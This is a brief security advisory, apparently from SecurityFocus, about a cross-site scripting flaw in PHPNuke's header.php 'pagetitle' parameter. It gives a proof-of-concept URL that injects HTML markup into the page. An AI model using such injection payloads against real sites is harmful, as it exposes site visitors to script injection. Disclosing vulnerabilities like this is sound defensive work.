PHPNuke Header.PHP Pagetitle Parameter Cross-Site Scripting Vulnerability

An exploit is not required.

The following proof of concept was provided:

http://www.example.com/nuke78/?pagetitle=w00t></title></head><body>test


 

Privacy Statement
Copyright 2010, SecurityFocus